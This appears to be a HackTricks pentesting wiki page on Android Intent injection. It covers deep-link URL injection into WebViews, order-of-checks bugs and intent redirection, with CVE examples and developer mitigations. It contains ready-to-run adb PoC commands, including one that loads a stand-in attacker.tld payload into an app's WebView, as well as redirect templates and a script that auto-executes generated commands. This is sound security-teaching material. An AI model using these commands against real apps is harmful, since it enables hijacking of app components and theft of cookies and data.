# Intent Injection {{#include ../../banners/hacktricks-training.md}} Intent injection abuses components that accept attacker-controlled Intents or data that is later converted into Intents. Two very common patterns during Android app pentests are: - Passing crafted extras to exported Activities/Services/BroadcastReceivers that are later forwarded to privileged, non-exported components. - Triggering exported VIEW/BROWSABLE deep links that forward attacker-controlled URLs into internal WebViews or other sensitive sinks. ## Deep links → WebView sink (URL parameter injection) If an app exposes a custom scheme deep link such as: ```text myscheme://com.example.app/web?url= ``` and the receiving Activity forwards the `url` query parameter into a WebView, you can force the app to render arbitrary remote content in its own WebView context. PoC via adb: ```bash # Implicit VIEW intent adb shell am start -a android.intent.action.VIEW \ -d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html" # Or explicitly target an Activity adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \ -d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html" ``` Impact - HTML/JS executes inside the app’s WebView profile. - If JavaScript is enabled (by default or due to misordered checks), you can enumerate/use any exposed `@JavascriptInterface` objects, steal WebView cookies/local storage, and pivot. See also: {{#ref}} webview-attacks.md {{#endref}} ## Order-of-checks bug enabling JavaScript A recurring bug is enabling JavaScript (or other permissive WebView settings) before the final URL allowlist/verification finishes. If early helpers accept your deep link and the WebView is configured first, your final load happens with JavaScript already enabled even if later checks are flawed or too late. What to look for in decompiled code: - Multiple helpers that parse/split/rebuild the URL differently (inconsistent normalization). - Calls to `getSettings().setJavaScriptEnabled(true)` before the last host/path allowlist check. - A pipeline like: parse → partial validate → configure WebView → final verify → loadUrl. Mitigations - Canonicalize once and validate strictly; fail closed. - Only enable JavaScript after all checks pass and just before loading trusted content. - Avoid exposing bridges to untrusted origins. ## Other classic Intent injection primitives - startActivity/sendBroadcast using attacker-supplied `Intent` extras that are later re-parsed (`Intent.parseUri(...)`) and executed. - Exported proxy components that forward Intents to non-exported sensitive components without permission checks. --- ## Automating exported-component testing (Smali-driven ADB generation) When exported components expect specific extras, guessing payload shape causes time waste and false negatives. You can automate discovery of keys/types directly from Smali and emit ready-to-run adb commands. Tool: APK Components Inspector - Repo: https://github.com/thecybersandeep/apk-components-inspector - Approach: decompile and scan Smali for calls like `getStringExtra("key")`, `getIntExtra("id", ...)`, `getParcelableExtra("redirect_intent")`, `getSerializableExtra(...)`, `getBooleanExtra(...)`, `getAction()`, `getData()` to infer which extras and fields are consumed by each component. - Output: for every exported Activity/Service/Receiver/Provider, the tool prints a short explanation and the exact `adb shell am ...`/`cmd content ...` command with correctly typed flags. Install ```bash git clone https://github.com/thecybersandeep/apk-components-inspector cd apk-components-inspector python3 -m venv venv && source venv/bin/activate pip install androguard==3.3.5 rich ``` Usage ```bash python apk-components-inspector.py target.apk ``` Example output ```bash adb shell am start -n com.target/.ExportedActivity --es url https://example.tld adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end" adb shell cmd content query --uri content://com.target.provider/items ``` ADB am extras cheat sheet (type-aware flags) - Strings: `--es key value` | String array: `--esa key v1,v2` - Integers: `--ei key 123` | Int array: `--eia key 1,2,3` - Booleans: `--ez key true|false` - Longs: `--el key 1234567890` - Floats: `--ef key 1.23` - URIs (extra): `--eu key content://...` | Data URI (Intent data): `-d content://...` - Component extra: `--ecn key com.pkg/.Cls` - Null string extra: `--esn key` - Common flags: `-a ` `-c ` `-t ` `-f ` `--activity-clear-task --activity-new-task` Pro tips for Providers - Use `adb shell cmd content query|insert|update|delete ...` to hit ContentProviders without agents. - For SQLi probing, vary `--projection` and `--where` (aka selection) when the underlying provider is SQLite-backed. Full-pipeline automation (interactive executor) ```bash # generate and capture commands then execute them one by one interactively python apk-components-inspector.py app.apk | tee adbcommands.txt python run_adb_commands.py ``` Helper script (merges continued lines, executes only lines starting with `adb`): ```python import subprocess def parse_adb_commands(file_path): with open(file_path, 'r') as file: lines = file.readlines() commands = [] current = [] for line in lines: s = line.strip() if s.startswith("adb "): current = [s] elif s.startswith("#") or not s: if current: full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip() commands.append(full) current = [] elif current: current.append(s) if current: full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip() commands.append(full) return commands for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1): print(f"\nCommand {i}: {cmd}") input("Press Enter to execute this command...") try: r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) print("Output:\n", r.stdout) if r.stderr: print("Errors:\n", r.stderr) except subprocess.CalledProcessError as e: print(f"Command failed with error:\n{e.stderr}") ``` Run on-device: the inspector is Python-based and works in Termux or rooted phones where `apktool`/`androguard` are available. --- ## Intent Redirection (CWE-926) – finding and exploiting Pattern - An exported entry point (Activity/Service/Receiver) reads an incoming Intent and forwards it internally or externally without validating source/data, e.g.: - `startActivity(getIntent())` - `startActivity(intent)` where `intent` came from an extra like `redirect_intent`/`next_intent`/`pending_intent` or `Intent.parseUri(...)`. - Trusting `action`/`data`/`component` fields without checks; not verifying caller identity. What to search in Smali/Java - Uses of `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)`. - Direct `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` on attacker-influenced Intents. - Lack of `getCallingPackage()`/`getCallingActivity()` checks or custom permission gates. ADB PoC templates - Proxy Activity forwarding an extra Intent to a privileged internal Activity: ```bash adb shell am start -n com.target/.ProxyActivity \ --es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end' ``` - Exported Service that honors a `redirect_intent` parcelable: ```bash adb shell am startservice -n com.target/.ExportedService \ --es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end' ``` - Exported Receiver that relays without validation: ```bash adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \ --es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end' ``` Flags helpful for singleTask-style behavior ```bash # Ensure a fresh task when testing Activities that check task/intent flags adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task ``` Real-world examples (impact varies): - CVE-2024-26131 (Element Android): exported flows leading to WebView manipulation, PIN bypass, login hijack. - CVE-2023-44121 (LG ThinQ Service): exported receiver action `com.lge.lms.things.notification.ACTION` → system-level effects. - CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → arbitrary file access (w/ user interaction). - CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content. - CVE-2021-4438 (React Native SMS User Consent). - CVE-2020-14116 (Xiaomi Mi Browser). Mitigations (developer checklist) - Do not forward incoming Intents directly; sanitize and re-construct allowed fields. - Restrict exposure with `android:exported="false"` unless necessary. Protect exported components with permissions and signatures. - Verify caller identity (`getCallingPackage()`/`getCallingActivity()`), and enforce explicit Intents for intra-app navigation. - Validate both `action` and `data` (scheme/host/path) before use; avoid `Intent.parseUri` on untrusted input. --- ## References - [Android – Access to app-protected components](https://blog.oversecured.com/Android-Access-to-app-protected-components/) - [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26) - [Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html) - [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So) - [Automating Android App Component Testing with New APK Inspector (blog)](https://www.mobile-hacker.com/2025/09/18/automating-android-app-component-testing-with-new-apk-inspector/) - [APK Components Inspector – GitHub](https://github.com/thecybersandeep/apk-components-inspector) - [Google guidance on intent redirection](https://support.google.com/faqs/answer/9267555?hl=en) - [OVAA vulnerable app](https://github.com/oversecured/ovaa) - [Exported Service PoC APK](https://github.com/nhattm3006/android-poc/blob/main/Exported%20Service/poc.apk) - [Ostorlab – 100M installs image app deep dive (component summary example)](https://medium.com/@ostorlab/this-article-is-a-technical-deep-dive-showing-how-a-100m-installation-image-application-can-6343ce8ea076) - [CVE-2024-26131 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2024-26131) - [CVE-2023-44121 – CVE.org](https://www.cve.org/CVERecord?id=CVE-2023-44121) - [CVE-2023-30728 – CVE.org](https://www.cve.org/CVERecord?id=CVE-2023-30728) - [CVE-2022-36837 – CVE.org](https://www.cve.org/CVERecord?id=CVE-2022-36837) - [CVE-2021-4438 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2021-4438) - [CVE-2020-14116 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2020-14116) {{#include ../../banners/hacktricks-training.md}}